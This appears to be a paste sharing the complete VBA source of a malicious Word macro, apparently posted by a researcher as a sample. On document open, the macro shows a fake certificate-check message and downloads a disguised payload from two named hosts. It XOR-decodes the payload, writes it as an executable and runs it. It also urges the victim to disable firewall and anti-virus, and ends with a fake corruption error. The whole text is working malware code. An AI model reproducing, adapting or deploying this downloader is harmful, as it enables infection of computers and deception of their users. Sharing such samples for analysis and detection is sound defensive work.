dynamoo icon

Malicious macro

dynamoo | PRO | 03/28/17 01:57:39 PM UTC | 0 ⭐ | 1409 👁️ | Never ⏰ | []
text |

4.45 KB

|

None

|

0 👍

/

0 👎

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
#If VBA7 And Win64 Then
Private Declare PtrSafe Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function wefjwekgn Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function uwhdhjwgf Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function qhduhfe Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function jiwoiefjweg Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
   Sub Document_Open()
 Dim ujfiejgirg As String
Dim wefnwiouirh As Long
Dim mewiheij As Long
Dim wkjiegjbnffd As Integer
Dim pfkjwigjkd() As Byte
 #If Win64 Then
Dim wjiejeiogif As LongLong
#Else
Dim wjiejeiogif As Long
#End If
 ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
 Set myRange = ActiveDocument.Content
 With myRange.Font
 .Name = "Verdana"
 .Size = 14
End With
 ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & "     Please wait..."
 DoEvents
DoEvents
DoEvents
DoEvents
 ujfiejgirg = iwjhufuebnubg
wefnwiouirh = jiwoiefjweg(0, "http://galaxytown.net/store/read.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
 If wefnwiouirh <> 0 And mewiheij < 472819 Then
wefnwiouirh = jiwoiefjweg(0, "http://www.effeelle.eu/img/logo.gif", ujfiejgirg, 0, 0)
mewiheij = FileLen(ujfiejgirg)
End If
  If mewiheij < 423621 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
 wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
ReDim pfkjwigjkd(0 To LOF(wkjiegjbnffd) - 1)
Get #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
 Call wjhhuuuufdp(pfkjwigjkd())
 ujfiejgirg = Left(ujfiejgirg, Len(ujfiejgirg) - 3)
ujfiejgirg = ujfiejgirg & "exe"
 wkjiegjbnffd = FreeFile
Open ujfiejgirg For Binary As #wkjiegjbnffd
Put #wkjiegjbnffd, , pfkjwigjkd()
Close #wkjiegjbnffd
  wjiejeiogif = wefjwekgn(0, "Open", "explorer.exe", ujfiejgirg)
 ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
 End Sub
  Public Function iwjhufuebnubg() As String
  Dim djfie As String * 512
  Dim pwifu As String * 576
  Dim dwuf As Long
  Dim wefkg As String
  dwuf = uwhdhjwgf(512, djfie)
  If (dwuf > 0 And dwuf < 512) Then
    dwuf = qhduhfe(djfie, 0, 0, pwifu)
    If dwuf <> 0 Then
        wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
    End If
    iwjhufuebnubg = wefkg
  End If
End Function
 Public Sub wjhhuuuufdp(pfkjwigjkd() As Byte)
  Dim dfety As Long
  Dim bvjwi As Long
  Dim wbdys As Long
  Dim dvywi(256) As Byte
  Dim wdals As Long
  Dim dwiqh As Long
    bvjwi = UBound(pfkjwigjkd) + 1
   For dfety = 10 To 265
    dvywi(dfety - 10) = pfkjwigjkd(dfety)
  Next
   wdals = UBound(dvywi) + 1
   dwiqh = 0
  For dfety = 266 To (bvjwi - 267)
    pfkjwigjkd(dfety - 266) = pfkjwigjkd(dfety) Xor dvywi(dwiqh)
    dwiqh = dwiqh + 1
     If dwiqh = (wdals - 1) Then
        dwiqh = 0
    End If
  Next
   ReDim Preserve pfkjwigjkd(bvjwi - 267)
 End Sub

Comments